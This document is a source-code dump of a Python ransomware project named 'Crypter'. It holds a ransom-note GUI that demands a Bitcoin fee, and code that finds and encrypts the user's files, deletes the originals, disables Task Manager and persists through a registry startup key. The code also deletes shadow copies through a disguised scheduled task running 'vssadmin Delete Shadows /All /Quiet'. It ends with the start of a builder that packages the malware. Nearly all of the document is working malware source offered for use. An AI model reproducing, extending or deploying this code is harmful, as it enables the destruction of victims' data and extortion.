self.RansomMessageText = wx.TextCtrl( self.BodyPanel, wx.ID_ANY, u"The important files on your computer have been encrypted with military grade AES-256 bit encryption.\n\nYour documents, videos, images and other forms of data are now inaccessible, and cannot be unlocked without the decryption key. This key is currently being stored on a remote server.\n\nTo acquire this key, transfer the Bitcoin fee to the Bitcoin wallet address before the time runs out.\n\nIf you fail to take action within this time window, the decryption key will be destoyed and access to your files will be permanently lost.\n\nFor more information on what Bitcoin is, and to learn where you can buy Bitcoins, click the Bitcoin button directly below the timer.", wx.DefaultPosition, wx.DefaultSize, wx.TE_MULTILINE|wx.TE_READONLY ) 105 | self.RansomMessageText.SetFont( wx.Font( 14, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Courier New" ) ) 106 | 107 | bSizer18.Add( self.RansomMessageText, 3, wx.ALL|wx.EXPAND, 7 ) 108 | 109 | 110 | bSizer17.Add( bSizer18, 1, wx.EXPAND, 5 ) 111 | 112 | 113 | bSizer15.Add( bSizer17, 1, 0, 5 ) 114 | 115 | 116 | BodySizer.Add( bSizer15, 1, wx.EXPAND, 5 ) 117 | 118 | 119 | self.BodyPanel.SetSizer( BodySizer ) 120 | self.BodyPanel.Layout() 121 | BodySizer.Fit( self.BodyPanel ) 122 | MainSizer.Add( self.BodyPanel, 2, wx.ALL|wx.EXPAND, 20 ) 123 | 124 | self.FooterPanel = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) 125 | bSizer181 = wx.BoxSizer( wx.HORIZONTAL ) 126 | 127 | self.m_panel9 = wx.Panel( self.FooterPanel, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) 128 | bSizer22 = wx.BoxSizer( wx.VERTICAL ) 129 | 130 | self.BitcoinButton = wx.BitmapButton( self.m_panel9, wx.ID_ANY, wx.NullBitmap, wx.DefaultPosition, wx.DefaultSize, wx.BU_AUTODRAW|0 ) 131 | bSizer22.Add( self.BitcoinButton, 0, wx.ALIGN_CENTER|wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) 132 | 133 | 134 | self.m_panel9.SetSizer( bSizer22 ) 135 | self.m_panel9.Layout() 136 | bSizer22.Fit( self.m_panel9 ) 137 | bSizer181.Add( self.m_panel9, 1, wx.EXPAND |wx.ALL, 5 ) 138 | 139 | sbSizer2 = wx.StaticBoxSizer( wx.StaticBox( self.FooterPanel, wx.ID_ANY, wx.EmptyString ), wx.VERTICAL ) 140 | 141 | self.m_panel10 = wx.Panel( sbSizer2.GetStaticBox(), wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) 142 | bSizer221 = wx.BoxSizer( wx.VERTICAL ) 143 | 144 | bSizer13 = wx.BoxSizer( wx.HORIZONTAL ) 145 | 146 | self.WalletAddressLabel = wx.StaticText( self.m_panel10, wx.ID_ANY, u"WALLET ADDRESS:", wx.DefaultPosition, wx.DefaultSize, 0 ) 147 | self.WalletAddressLabel.Wrap( -1 ) 148 | 149 | self.WalletAddressLabel.SetFont( wx.Font( 12, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) 150 | self.WalletAddressLabel.SetForegroundColour( wx.Colour( 255, 255, 0 ) ) 151 | 152 | bSizer13.Add( self.WalletAddressLabel, 1, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) 153 | 154 | self.WalletAddressString = wx.StaticText( self.m_panel10, wx.ID_ANY, u"1BoatSLRHtKNngkdXEeobR76b53LETtpyT", wx.DefaultPosition, wx.DefaultSize, 0 ) 155 | self.WalletAddressString.Wrap( -1 ) 156 | 157 | self.WalletAddressString.SetFont( wx.Font( 12, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) 158 | self.WalletAddressString.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNHIGHLIGHT ) ) 159 | 160 | bSizer13.Add( self.WalletAddressString, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) 161 | 162 | 163 | bSizer221.Add( bSizer13, 0, wx.EXPAND, 5 ) 164 | 165 | bSizer14 = wx.BoxSizer( wx.HORIZONTAL ) 166 | 167 | self.BitcoinFeeLabel = wx.StaticText( self.m_panel10, wx.ID_ANY, u"BITCOIN FEE", wx.DefaultPosition, wx.DefaultSize, 0 ) 168 | self.BitcoinFeeLabel.Wrap( -1 ) 169 | 170 | self.BitcoinFeeLabel.SetFont( wx.Font( 12, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) 171 | self.BitcoinFeeLabel.SetForegroundColour( wx.Colour( 255, 255, 0 ) ) 172 | 173 | bSizer14.Add( self.BitcoinFeeLabel, 1, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) 174 | 175 | self.BitcoinFeeString = wx.StaticText( self.m_panel10, wx.ID_ANY, u"1.50", wx.DefaultPosition, wx.DefaultSize, 0 ) 176 | self.BitcoinFeeString.Wrap( -1 ) 177 | 178 | self.BitcoinFeeString.SetFont( wx.Font( 12, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) 179 | self.BitcoinFeeString.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNHIGHLIGHT ) ) 180 | 181 | bSizer14.Add( self.BitcoinFeeString, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) 182 | 183 | 184 | bSizer221.Add( bSizer14, 0, wx.EXPAND, 5 ) 185 | 186 | bSizer19 = wx.BoxSizer( wx.HORIZONTAL ) 187 | 188 | bSizer19.SetMinSize( wx.Size( -1,40 ) ) 189 | 190 | bSizer19.Add( ( 0, 0), 1, wx.EXPAND, 5 ) 191 | 192 | 193 | bSizer19.Add( ( 0, 0), 1, wx.EXPAND, 5 ) 194 | 195 | self.ViewEncryptedFilesButton = wx.Button( self.m_panel10, wx.ID_ANY, u"View Encrypted Files", wx.DefaultPosition, wx.DefaultSize, 0 ) 196 | bSizer19.Add( self.ViewEncryptedFilesButton, 1, wx.ALL|wx.EXPAND, 5 ) 197 | 198 | self.EnterDecryptionKeyButton = wx.Button( self.m_panel10, wx.ID_ANY, u"Enter Decryption Key", wx.DefaultPosition, wx.DefaultSize, 0 ) 199 | bSizer19.Add( self.EnterDecryptionKeyButton, 1, wx.ALL|wx.EXPAND, 5 ) 200 | 201 | 202 | bSizer221.Add( bSizer19, 2, wx.ALIGN_RIGHT|wx.EXPAND, 5 ) 203 | 204 | 205 | self.m_panel10.SetSizer( bSizer221 ) 206 | self.m_panel10.Layout() 207 | bSizer221.Fit( self.m_panel10 ) 208 | sbSizer2.Add( self.m_panel10, 1, wx.ALL|wx.EXPAND, 5 ) 209 | 210 | 211 | bSizer181.Add( sbSizer2, 3, wx.EXPAND, 5 ) 212 | 213 | 214 | self.FooterPanel.SetSizer( bSizer181 ) 215 | self.FooterPanel.Layout() 216 | bSizer181.Fit( self.FooterPanel ) 217 | MainSizer.Add( self.FooterPanel, 1, wx.ALL|wx.EXPAND, 20 ) 218 | 219 | 220 | self.SetSizer( MainSizer ) 221 | self.Layout() 222 | 223 | self.Centre( wx.BOTH ) 224 | 225 | def __del__( self ): 226 | pass 227 | 228 | 229 | ########################################################################### 230 | ## Class ViewEncryptedFilesDialog 231 | ########################################################################### 232 | 233 | class ViewEncryptedFilesDialog ( wx.Frame ): 234 | 235 | def __init__( self, parent ): 236 | wx.Frame.__init__ ( self, parent, id = wx.ID_ANY, title = u"Encrypted Files", pos = wx.DefaultPosition, size = wx.Size( 600,400 ), style = wx.DEFAULT_FRAME_STYLE|wx.TAB_TRAVERSAL ) 237 | 238 | self.SetSizeHints( wx.DefaultSize, wx.DefaultSize ) 239 | 240 | BodySizer = wx.BoxSizer( wx.VERTICAL ) 241 | 242 | self.m_panel4 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) 243 | TextCtrlSizer = wx.BoxSizer( wx.VERTICAL ) 244 | 245 | self.EncryptedFilesTextCtrl = wx.TextCtrl( self.m_panel4, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, wx.TE_DONTWRAP|wx.TE_MULTILINE|wx.TE_READONLY ) 246 | TextCtrlSizer.Add( self.EncryptedFilesTextCtrl, 1, wx.ALL|wx.EXPAND, 5 ) 247 | 248 | 249 | self.m_panel4.SetSizer( TextCtrlSizer ) 250 | self.m_panel4.Layout() 251 | TextCtrlSizer.Fit( self.m_panel4 ) 252 | BodySizer.Add( self.m_panel4, 1, wx.EXPAND |wx.ALL, 5 ) 253 | 254 | 255 | self.SetSizer( BodySizer ) 256 | self.Layout() 257 | 258 | self.Centre( wx.BOTH ) 259 | 260 | def __del__( self ): 261 | pass 262 | 263 | 264 | ########################################################################### 265 | ## Class EnterDecryptionKeyDialog 266 | ########################################################################### 267 | 268 | class EnterDecryptionKeyDialog ( wx.Dialog ): 269 | 270 | def __init__( self, parent ): 271 | wx.Dialog.__init__ ( self, parent, id = wx.ID_ANY, title = u"Decrypt Files", pos = wx.DefaultPosition, size = wx.Size( 500,200 ), style = wx.DEFAULT_DIALOG_STYLE ) 272 | 273 | self.SetSizeHints( wx.DefaultSize, wx.DefaultSize ) 274 | 275 | bSizer12 = wx.BoxSizer( wx.VERTICAL ) 276 | 277 | self.m_panel6 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) 278 | MainSizer = wx.StaticBoxSizer( wx.StaticBox( self.m_panel6, wx.ID_ANY, u"AES Decryption Key" ), wx.VERTICAL ) 279 | 280 | 281 | MainSizer.Add( ( 0, 0), 1, wx.EXPAND, 5 ) 282 | 283 | 284 | MainSizer.Add( ( 0, 0), 1, wx.EXPAND, 5 ) 285 | 286 | bSizer13 = wx.BoxSizer( wx.HORIZONTAL ) 287 | 288 | 289 | bSizer13.Add( ( 0, 0), 1, wx.EXPAND, 5 ) 290 | 291 | self.DecryptionKeyTextCtrl = wx.TextCtrl( MainSizer.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.Size( 220,-1 ), 0 ) 292 | self.DecryptionKeyTextCtrl.SetMaxLength( 32 ) 293 | bSizer13.Add( self.DecryptionKeyTextCtrl, 0, wx.ALL, 5 ) 294 | 295 | 296 | bSizer13.Add( ( 0, 0), 1, wx.EXPAND, 5 ) 297 | 298 | 299 | MainSizer.Add( bSizer13, 1, wx.EXPAND, 5 ) 300 | 301 | 302 | MainSizer.Add( ( 0, 0), 1, wx.EXPAND, 5 ) 303 | 304 | OkCancelSizer = wx.StdDialogButtonSizer() 305 | self.OkCancelSizerOK = wx.Button( MainSizer.GetStaticBox(), wx.ID_OK ) 306 | OkCancelSizer.AddButton( self.OkCancelSizerOK ) 307 | self.OkCancelSizerCancel = wx.Button( MainSizer.GetStaticBox(), wx.ID_CANCEL ) 308 | OkCancelSizer.AddButton( self.OkCancelSizerCancel ) 309 | OkCancelSizer.Realize(); 310 | 311 | MainSizer.Add( OkCancelSizer, 1, wx.EXPAND, 5 ) 312 | 313 | self.StatusText = wx.StaticText( MainSizer.GetStaticBox(), wx.ID_ANY, u"Waiting for input", wx.DefaultPosition, wx.DefaultSize, 0 ) 314 | self.StatusText.Wrap( -1 ) 315 | 316 | MainSizer.Add( self.StatusText, 0, wx.ALL, 5 ) 317 | 318 | bSizer121 = wx.BoxSizer( wx.HORIZONTAL ) 319 | 320 | self.DecryptionGauge = wx.Gauge( MainSizer.GetStaticBox(), wx.ID_ANY, 100, wx.DefaultPosition, wx.DefaultSize, wx.GA_HORIZONTAL ) 321 | self.DecryptionGauge.SetValue( 0 ) 322 | bSizer121.Add( self.DecryptionGauge, 0, wx.ALL, 5 ) 323 | 324 | 325 | bSizer121.Add( ( 0, 0), 1, wx.EXPAND, 5 ) 326 | 327 | self.EncryptedFilesNumberLabel = wx.StaticText( MainSizer.GetStaticBox(), wx.ID_ANY, u"Encrypted Files: 0", wx.DefaultPosition, wx.DefaultSize, 0 ) 328 | self.EncryptedFilesNumberLabel.Wrap( -1 ) 329 | 330 | bSizer121.Add( self.EncryptedFilesNumberLabel, 0, wx.ALL, 5 ) 331 | 332 | 333 | MainSizer.Add( bSizer121, 1, wx.EXPAND, 5 ) 334 | 335 | 336 | self.m_panel6.SetSizer( MainSizer ) 337 | self.m_panel6.Layout() 338 | MainSizer.Fit( self.m_panel6 ) 339 | bSizer12.Add( self.m_panel6, 1, wx.EXPAND |wx.ALL, 5 ) 340 | 341 | 342 | self.SetSizer( bSizer12 ) 343 | self.Layout() 344 | 345 | self.Centre( wx.BOTH ) 346 | 347 | def __del__( self ): 348 | pass 349 | 350 | 351 | -------------------------------------------------------------------------------- /Crypter/Crypter/Crypter.py: -------------------------------------------------------------------------------- 1 | ''' 2 | @summary: Crypter: Ransomware written entirely in python. 3 | @author: Sithis 4 | @version: 3.5 5 | ''' 6 | 7 | import json 8 | # Import libs 9 | import os 10 | import sys 11 | import time 12 | import winreg 13 | 14 | import win32file 15 | import wx 16 | 17 | # Import Package Libs 18 | from . import Base 19 | from . import Crypt 20 | from . import Gui 21 | from .ScheduledTask import ScheduledTask 22 | from .TaskManager import TaskManager 23 | 24 | 25 | ################### 26 | ## CRYPTER Class ## 27 | ################### 28 | class Crypter(Base.Base): 29 | ''' 30 | @summary: Crypter: Controls interaction between relevant objects 31 | @author: MLS 32 | ''' 33 | 34 | def __init__(self): 35 | ''' 36 | @summary: Constructor 37 | ''' 38 | self.__config = self.__load_config() 39 | self.encrypted_file_list = os.path.join(os.environ['APPDATA'], "encrypted_files.txt") 40 | self.encryption_test_file = os.path.join(os.environ['APPDATA'], "enc_test.txt") 41 | 42 | # Init Crypt Lib 43 | self.Crypt = Crypt.SymmetricCrypto() 44 | 45 | # FIRST RUN 46 | # Encrypt! 47 | if not os.path.isfile(self.encrypted_file_list): 48 | # Time Delay 49 | if "time_delay" in self.__config: 50 | time.sleep(int(self.__config["time_delay"])) 51 | 52 | # Disable Task Manager 53 | if self.__config["disable_task_manager"]: 54 | self.task_manager = TaskManager() 55 | try: 56 | self.task_manager.disable() 57 | except WindowsError: 58 | pass 59 | 60 | # Add to startup programs 61 | # TODO Test 62 | if self.__config["open_gui_on_login"]: 63 | self.__add_to_startup_programs() 64 | 65 | # Find files and initialise keys 66 | self.Crypt.init_keys() 67 | 68 | # Create encryption test file 69 | file_list = [self.encryption_test_file] 70 | with open(self.encryption_test_file, "w") as test_file: 71 | test_file.write("Encryption test") 72 | 73 | # File discovery 74 | file_list += self.find_files() 75 | 76 | # Start encryption 77 | self.encrypt_files(file_list) 78 | 79 | # If no files were encrypted. cleanup and return 80 | if self.__no_files_were_encrypted(): 81 | # TODO Test 82 | print("No files were encrypted") 83 | self.cleanup() 84 | return 85 | 86 | # Delete Shadow Copies 87 | if "delete_shadow_copies" in self.__config: 88 | self.__delete_shadow_files() 89 | 90 | # Open GUI 91 | self.start_gui() 92 | 93 | # ALREADY ENCRYPTED - Open GUI 94 | elif os.path.isfile(self.encrypted_file_list): 95 | self.start_gui() 96 | 97 | 98 | def __load_config(self): 99 | ''' 100 | @summary: Loads the runtime cfg file 101 | @return: JSON runtime config 102 | ''' 103 | 104 | try: 105 | cfg_path = os.path.join(sys._MEIPASS, self.RUNTIME_CONFIG_FILE) 106 | except AttributeError: 107 | cfg_path = os.path.join("..\\", "CrypterBuilder", "Resources", "runtime.cfg") 108 | 109 | with open(cfg_path, "r") as runtime_cfg_file: 110 | config = json.load(runtime_cfg_file) 111 | 112 | return config 113 | 114 | 115 | def __delete_shadow_files(self): 116 | ''' 117 | @summary: Create, run and delete a scheduled task to delete all file shadow copies from disk 118 | ''' 119 | 120 | vs_deleter = ScheduledTask( 121 | name="updater47", 122 | command="vssadmin Delete Shadows /All /Quiet" 123 | ) 124 | vs_deleter.run_now() 125 | vs_deleter.cleanup() 126 | 127 | 128 | def __no_files_were_encrypted(self): 129 | ''' 130 | @summary: Checks if any files were encrypted 131 | @return: True if no files were encrypted, otherwise False 132 | @todo: Test 133 | ''' 134 | 135 | if not os.path.isfile(self.encrypted_file_list): 136 | return True 137 | else: 138 | return False 139 | 140 | 141 | def __add_to_startup_programs(self): 142 | ''' 143 | @summary: Adds Crypter to the list of Windows startup programs 144 | @todo: Code and test 145 | @todo: Restore try and except catch 146 | ''' 147 | 148 | try: 149 | reg = winreg.CreateKeyEx(winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION) 150 | winreg.SetValueEx(reg, "Crypter", 0, winreg.REG_SZ, sys.executable) 151 | winreg.CloseKey(reg) 152 | except WindowsError: 153 | pass 154 | 155 | 156 | def __remove_from_startup_programs(self): 157 | ''' 158 | @summary: Removes Crypter from the list of startup programs 159 | @todo: Code and test 160 | ''' 161 | 162 | try: 163 | reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION, 0, winreg.KEY_SET_VALUE) 164 | winreg.DeleteValue(reg, "Crypter") 165 | winreg.CloseKey(reg) 166 | except WindowsError: 167 | pass 168 | 169 | 170 | def get_start_time(self): 171 | ''' 172 | @summary: Get's Crypter's start time from the registry, or creates it if it 173 | doesn't exist 174 | @return: The time that the ransomware began it's encryption operation, in integer epoch form 175 | ''' 176 | 177 | # Try to open registry key 178 | try: 179 | reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) 180 | start_time = winreg.QueryValueEx(reg, "")[0] 181 | winreg.CloseKey(reg) 182 | # If failure, create the key 183 | except WindowsError: 184 | start_time = int(time.time()) 185 | reg = winreg.CreateKey(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) 186 | winreg.SetValue(reg, "", winreg.REG_SZ, str(start_time)) 187 | winreg.CloseKey(reg) 188 | 189 | return start_time 190 | 191 | 192 | def cleanup(self): 193 | ''' 194 | @summary: Cleanups the system following successful decryption. Removed the list of 195 | encrypted files and deletes the Crypter registry key. Re-enable TM 196 | ''' 197 | 198 | # If files were encrypted, Remove from startup programs (if present in list) 199 | if not self.__no_files_were_encrypted() and self.__config["open_gui_on_login"]: 200 | self.__remove_from_startup_programs() 201 | 202 | self.delete_encrypted_file_list() 203 | self.delete_encrypted_file_test() 204 | self.delete_registry_entries() 205 | 206 | if self.__config["disable_task_manager"]: 207 | try: 208 | self.task_manager.enable() 209 | except WindowsError: 210 | pass 211 | 212 | 213 | def delete_registry_entries(self): 214 | ''' 215 | @summary: Deletes the timer registry key 216 | ''' 217 | 218 | # Open and delete the key 219 | try: 220 | reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) 221 | winreg.DeleteKeyEx(reg, "") 222 | winreg.CloseKey(reg) 223 | except WindowsError: 224 | # Ignore any Windows errors 225 | pass 226 | 227 | 228 | def start_gui(self): 229 | ''' 230 | @summary: Initialises and launches the ransomware GUI screen 231 | ''' 232 | 233 | # Get Crypter start_time 234 | start_time = self.get_start_time() 235 | 236 | app = wx.App() 237 | # TODO Update this to new path and place in __init__ 238 | try: 239 | image_path = sys._MEIPASS 240 | except AttributeError: 241 | image_path = os.path.join("..\\", "CrypterBuilder", "Resources") 242 | 243 | crypter_gui = Gui.Gui( 244 | image_path=image_path, 245 | start_time=start_time, 246 | decrypter=self, 247 | config=self.__config) 248 | 249 | crypter_gui.Show() 250 | app.MainLoop() 251 | 252 | 253 | def get_encrypted_files_list(self): 254 | ''' 255 | @summary: Returns a list of the files encrypted by crypter 256 | @return: Encrypted file list 257 | ''' 258 | 259 | # Get list of encrypted files 260 | try: 261 | with open(self.encrypted_file_list) as fh: 262 | file_list = fh.readlines() 263 | fh.close() 264 | except IOError: 265 | # Don't error, just return message 266 | raise Exception("A list of encrypted files was not found at: %s" % self.encrypted_file_list) 267 | 268 | return file_list 269 | 270 | 271 | def decrypt_file(self, encrypted_file, decryption_key): 272 | ''' 273 | @summary: Processes the list of encrypted files and decrypts each. Should be called once per file 274 | @param encrypted_file: an encrypted file to decrypt 275 | ''' 276 | 277 | # Decrypt! 278 | if not encrypted_file: 279 | return 280 | 281 | # IF successful decryption, delete locked file 282 | locked_path = self.Crypt.decrypt_file(encrypted_file.rstrip(), decryption_key, 283 | self.__config["encrypted_file_extension"]) 284 | if locked_path: 285 | os.remove(locked_path) 286 | 287 | 288 | def delete_encrypted_file_test(self): 289 | """ 290 | Deletes the encrypted test file 291 | """ 292 | if os.path.isfile(self.encryption_test_file): 293 | os.remove(self.encryption_test_file) 294 | 295 | 296 | def delete_encrypted_file_list(self): 297 | ''' 298 | @summary: Deletes the list of encrypted files 299 | ''' 300 | if os.path.isfile(self.encrypted_file_list): 301 | os.remove(self.encrypted_file_list) 302 | 303 | 304 | def encrypt_files(self, file_list): 305 | ''' 306 | @summary: Encrypts all files in the provided file list param 307 | @param file_list: A list of files to encrypt 308 | ''' 309 | encrypted_files = [] 310 | 311 | # Encrypt them and add to list if successful 312 | for file in file_list: 313 | 314 | # Encrypt file if less than specified file size 315 | try: 316 | if int(os.path.getsize(file)) < self.MAX_FILE_SIZE_BYTES: 317 | is_encrypted = self.Crypt.encrypt_file(file, self.__config["encrypted_file_extension"]) 318 | else: 319 | is_encrypted = False 320 | 321 | # IF encrypted, try to delete the file and add to the list 322 | if is_encrypted: 323 | os.remove(file) 324 | encrypted_files.append(file) 325 | except: 326 | # Ignore any exception, such as access denied, and continue 327 | pass 328 | 329 | # Write out list of encrypted files 330 | if encrypted_files or (not self.__config["encrypt_user_home"] and not self.__config["encrypt_attached_drives"]): 331 | fh = open(self.encrypted_file_list, "w") 332 | for encrypted_file in encrypted_files: 333 | fh.write(encrypted_file) 334 | fh.write("\n") 335 | fh.close() 336 | 337 | 338 | def find_files(self): 339 | ''' 340 | @summary: Searches the file system and builds a list of files to encrypt 341 | @return: List of files matching the location and filetype criteria 342 | ''' 343 | binary_name = os.path.split(sys.argv[0])[1] 344 | 345 | # Get Current Working Directory 346 | try: 347 | cwd = sys._MEIPASS 348 | except AttributeError: 349 | cwd = os.path.dirname(os.getcwd()) 350 | 351 | base_dirs = self.get_base_dirs(os.environ['USERPROFILE'], self.__config) 352 | file_list = [] 353 | 354 | for directory in base_dirs: 355 | print("Checking: %s" % directory) 356 | for path, subdirs, files in os.walk(directory): 357 | for file in files: 358 | if os.path.isfile(os.path.join(path, file)): 359 | # Check file is valid 360 | try: 361 | if ( 362 | (self.is_valid_filetype(file)) and 363 | (not self.is_excluded_file(file)) and 364 | (not self.is_excluded_dir(path)) and 365 | (file.lower() != binary_name.lower()) and 366 | (not os.path.join(path, file).lower().startswith( 367 | win32file.GetLongPathName(cwd).lower())) 368 | ): 369 | file_list.append(os.path.join(path, file)) 370 | except Exception: 371 | # Skip any files with strange chars not within our encoding 372 | pass 373 | for file in subdirs: 374 | if os.path.isfile(os.path.join(path, file)): 375 | # Check file is valid 376 | try: 377 | if ( 378 | (self.is_valid_filetype(file)) and 379 | (not self.is_excluded_file(file)) and 380 | (not self.is_excluded_dir(path)) and 381 | (file.lower() != binary_name.lower()) and 382 | (not os.path.join(path, file).lower().startswith( 383 | win32file.GetLongPathName(cwd).lower())) 384 | ): 385 | file_list.append(os.path.join(path, file)) 386 | except Exception: 387 | # Skip any files with strange chars not within our encoding 388 | pass 389 | 390 | return file_list 391 | 392 | 393 | def is_excluded_dir(self, path): 394 | ''' 395 | @summary: Checks whether the specified path should be excluded from encryption 396 | @param path: The path to check 397 | @return: True if the path should be excluded from encryption, otherwise False 398 | ''' 399 | 400 | for dir_to_exclude in self.DIRS_TO_EXCLUDE: 401 | if "\\%s" % dir_to_exclude.lower() in path.lower(): 402 | return True 403 | 404 | return False 405 | 406 | 407 | def is_excluded_file(self, file): 408 | ''' 409 | @summary: Checks whether the specified file is marked as a file to be excluded from encryption 410 | @param file: The file to check 411 | @requires: True if the file should be excluded from encryption, otherwise false 412 | ''' 413 | 414 | if file.lower() in self.FILES_TO_EXCLUDE: 415 | return True 416 | else: 417 | return False 418 | 419 | 420 | def is_valid_filetype(self, file): 421 | ''' 422 | @summary: Verifies whether the specified file is of an acceptable type for encryption 423 | @param file: The file to check 424 | @attention: The list of filetypes to encrypt is defined in the Base.Base class 425 | ''' 426 | 427 | # Split filename 428 | filename_components = file.split(".") 429 | 430 | # If no extension, return False 431 | if len(filename_components) <= 1: 432 | return False 433 | # Otherwise stringify extension 434 | else: 435 | full_extension = ".".join(filename_components[1:]).lower() 436 | 437 | # Check if extension is in the list of encryptable extensions 438 | for target_extension in self.__config["filetypes_to_encrypt"]: 439 | if len(target_extension) <= len(full_extension) and full_extension[ 440 | -len(target_extension):] == target_extension.lower(): 441 | return True 442 | 443 | return False 444 | 445 | 446 | def set_wallpaper(self): 447 | ''' 448 | @summary: Sets the users wallpaper to a specific ransom not image 449 | @deprecated: This method, and approach, is no longer used. The ransom 450 | note is now displayed via a WX GUI 451 | @requires: To enable this method, add an import for ctypes 452 | ''' 453 | 454 | # Import image and write to path 455 | # todo adjust file name... maybe replace this with whatever is provided in the config file? 456 | image_path = os.path.join(sys._MEIPASS, "ransom.png") 457 | 458 | SPI_SETDESKWALLPAPER = 20 459 | ctypes.windll.user32.SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, image_path, 3) 460 | -------------------------------------------------------------------------------- /CrypterBuilder/BuilderThread.py: -------------------------------------------------------------------------------- 1 | ''' 2 | @summary: Crypter Builder: Build Thread 3 | @author: MLS 4 | ''' 5 | 6 | # Import libs 7 | import time 8 | import os 9 | import sys 10 | import json 11 | import subprocess 12 | from threading import Thread, Event 13 | from pubsub import pub 14 | 15 | # Import package modules 16 | from .Base import * 17 | from .Exceptions import * 18 | from .Spec import Spec 19 | 20 | 21 | ######################### 22 | ## BUILDERTHREAD CLASS ## 23 | ######################### 24 | class BuilderThread(Thread): 25 | ''' 26 | @summary: Provides a Thread for running an exe Build 27 | ''' 28 | 29 | def __init__(self, user_input_dict): 30 | ''' 31 | @summary: Constructor. Starts the thread 32 | @param user_input_dict: The GUI Form user submitted config 33 | ''' 34 | self.__in_progress = False 35 | self.__build_error = False 36 | self.__build_success = False 37 | self.__build_stopped = False 38 | self.__binary_location = None 39 | self.__console_log(msg="Constructor()", debug_level=3) 40 | self.__stop_event = Event() 41 | self.user_input_dict = user_input_dict 42 | 43 | # Start the thread 44 | self.__console_log(msg="Starting build thread", debug_level=3) 45 | Thread.__init__(self) 46 | self.setDaemon(True) 47 | self.start() 48 | 49 | 50 | def is_in_progress(self): 51 | ''' 52 | @summary: Method to check if the build is in progress 53 | @return: True if in progress, False if not in progress 54 | ''' 55 | 56 | return self.__in_progress 57 | 58 | 59 | def __str__(self): 60 | ''' 61 | @summary: Return Class name for logging purposes 62 | ''' 63 | return "Builder" 64 | 65 | 66 | def __console_log(self, msg=None, debug_level=0, ccode=0, timestamp=True, _class=None, **kwargs): 67 | ''' 68 | @summary: Private Console logger method. Logs the Builders progress to the GUI Console 69 | using wx Publisher update 70 | @param msg: The msg to print to the console 71 | @param debug_level: The debug level of the message being logged 72 | ''' 73 | 74 | # Define update data dict and add any kwarg items 75 | update_data_dict = { 76 | "_class": str(self) if not _class else _class, 77 | "msg": msg, 78 | "debug_level": debug_level, 79 | "ccode": ccode, 80 | "timestamp": timestamp 81 | } 82 | for key, value in kwargs.items(): 83 | update_data_dict[key] = value 84 | 85 | # Send update data 86 | pub.sendMessage("update", msg=update_data_dict) 87 | 88 | 89 | def validate_input(self, input_field, input_value): 90 | ''' 91 | @summary: Validates the value of the specified input field 92 | @raise ValidationException: If validation of the input field fails 93 | ''' 94 | 95 | # If item doesn't require validating, skip 96 | if BUILDER_CONFIG_ITEMS[input_field]["validate"] is not True: 97 | self.__console_log(msg="Skipping validation for '%s'" % BUILDER_CONFIG_ITEMS[input_field]["label"], 98 | debug_level=3) 99 | return 100 | 101 | self.__console_log(msg="%s input should match regex '%s'. Got '%s'" % ( 102 | BUILDER_CONFIG_ITEMS[input_field]["label"], 103 | BUILDER_CONFIG_ITEMS[input_field]["regex"].pattern, 104 | input_value 105 | ), 106 | debug_level=3 107 | ) 108 | 109 | # If input matches expected regex, return True 110 | if not BUILDER_CONFIG_ITEMS[input_field]["regex"].match(input_value): 111 | raise ValidationException 112 | # If icon_file, check file exists 113 | elif input_field == "icon_file" and input_value: 114 | if not os.path.isfile(input_value): 115 | raise ValidationException 116 | else: 117 | self.__console_log(msg="Icon file at '%s' is a valid file" % input_value, debug_level=3) 118 | 119 | # If field is empty, set it to the defined default value (if there is one, else blank) 120 | if not input_value and "default" in BUILDER_CONFIG_ITEMS[input_field]: 121 | return BUILDER_CONFIG_ITEMS[input_field]["default"] 122 | 123 | 124 | def run(self): 125 | ''' 126 | @summary: Performs the build operation 127 | ''' 128 | self.__in_progress = True 129 | 130 | # Starting validation 131 | self.__console_log(msg="Checking configuration...", debug_level=1) 132 | 133 | # Catch build halts 134 | try: 135 | # Iterate input fields and validate 136 | for input_field in self.user_input_dict: 137 | time.sleep(0.1) 138 | 139 | # Break if STOP set 140 | if self.__stop_event.is_set(): 141 | raise UserHalt 142 | 143 | # Validate input field 144 | # If invalid input, log to console and set input field to red 145 | self.__console_log(msg="Checking %s" % input_field, debug_level=1) 146 | try: 147 | # Update field value to default if one set 148 | default_value = self.validate_input(input_field, self.user_input_dict[input_field]) 149 | if default_value: 150 | self.user_input_dict[input_field] = 